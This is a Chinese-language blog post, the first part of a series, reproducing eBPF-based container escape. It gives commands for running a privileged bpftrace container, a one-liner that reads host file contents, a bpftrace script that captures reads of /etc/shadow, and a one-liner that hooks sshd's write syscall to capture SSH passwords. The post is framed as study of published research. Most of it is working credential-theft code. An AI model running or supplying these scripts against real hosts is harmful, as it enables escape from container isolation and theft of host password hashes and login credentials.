基于ebpf的容器逃逸(上)

背景

Container escape in 2021云原生安全攻防|使用eBPF逃逸容器技术分析与实践 都提到了基于ebpf的容器逃逸。

本文简要记录自己对这两篇文章的学习、复现,并给出一个demo,希望对主机安全有兴趣的读者有点帮助。

快速验证”可以用ebpf在容器中读宿主机文件”

Container escape in 2021 有一页PPT

你也可以输入以下命令,来复现上面”在容器中观测到宿主机文件内容”的效果

1
2
3
4
5
[root@instance-h9w7mlyv ~]# docker run -it --cap-add sys_admin --cap-add sys_resource quay.io/iovisor/bpftrace:latest bash
root@6a6339858e9a:/# mount -t debugfs none /sys/kernel/debug
root@6a6339858e9a:/# export BPFTRACE_STRLEN=200 // https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md#91-bpftrace_strlen
root@6a6339858e9a:/# bpftrace -e 'kretfunc:vfs_read /comm=="cat"/ {printf("%s,%d\n",str(uptr(args->buf),retval),retval);}'
Attaching 1 probe...

bpftrace可以参考官方文档

上面是根据命令名来过滤,查看特定命令读取的文件内容。你也可以根据文件名来过滤。

比如输入以下命令

1
2
3
4
5
[root@instance-h9w7mlyv tmp]# docker run -it -v /tmp:/tmp --cap-add sys_admin --cap-add sys_resource quay.io/iovisor/bpftrace:latest bash
root@b0e60d8c7219:/# mount -t debugfs none /sys/kernel/debug
root@b0e60d8c7219:/# export BPFTRACE_STRLEN=150
root@b0e60d8c7219:/# bpftrace /tmp/1.bt
Attaching 9 probes...

1.bt 代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
BEGIN
{
printf("Tracing file content... Hit Ctrl-C to end.\n");
}

tracepoint:syscalls:sys_enter_open,
tracepoint:syscalls:sys_enter_openat
/ strncmp(str(args->filename), "/etc/shadow", 11) == 0 / // 待观测的文件路径
{
@filename[tid] = args->filename;
}

tracepoint:syscalls:sys_exit_open,
tracepoint:syscalls:sys_exit_openat
/@filename[tid]/
{
$ret = args->ret;
$fd = $ret > 0 ? $ret : -1;

@fd_filenmae_map[tid, $fd] = @filename[tid];
}

tracepoint:syscalls:sys_enter_read
/@fd_filenmae_map[tid, args->fd]/
{
@read_buf[tid] = args->buf;
}

tracepoint:syscalls:sys_exit_read
/@read_buf[tid]/
{
printf("filename:%s, content:%s\n", str(@filename[tid]), str(uptr(@read_buf[tid])))
}

tracepoint:syscalls:sys_enter_close
/@fd_filenmae_map[tid, args->fd]/
{
delete(@filename[tid]);
delete(@fd_filenmae_map[tid, args->fd]);
delete(@read_buf[tid]);
}

END
{
clear(@filename);
clear(@fd_filenmae_map);
clear(@read_buf);
}

验证”获取用户密码”

sshd write系统调用中会有ssh密码信息,如下

所以,你可以在容器中用 ‘tracepoint:syscalls:sys_enter_write’ 来获取ssh密码。

1
2
3
4
5
bpftrace -e 'tracepoint:syscalls:sys_enter_write /comm=="sshd"/ {
if (args->fd == 6){
printf("%s\n",str(args->buf+4)); // 前四个字节是0
}
}'

我测试的ssh是OpenSSH_8.0p1,可能你的ssh发行版和我不同,并不一定通过hook write系统调用来获取用户密码。

总结

基于ebpf做容器逃逸时,重点是需要知道hook哪个函数。

比如 内核态eBPF程序实现容器逃逸与隐藏账号rootkit 文章中是hook哪个函数呢?

另一个重点是”ebpf怎么修改数据”。前面的两个例子都只用bpftrace观测数据,而没有修改args->buf中的数据。

云原生安全攻防|使用eBPF逃逸容器技术分析与实践lkm和ebpf rootkit分析的简要记录 的例子中都涉及到”ebpf修改数据”。

bpftrace目前只有override()能修改部分kprobes的返回值,所以下一篇我会用libbpf演示”ebpf修改数据能造成什么效果”。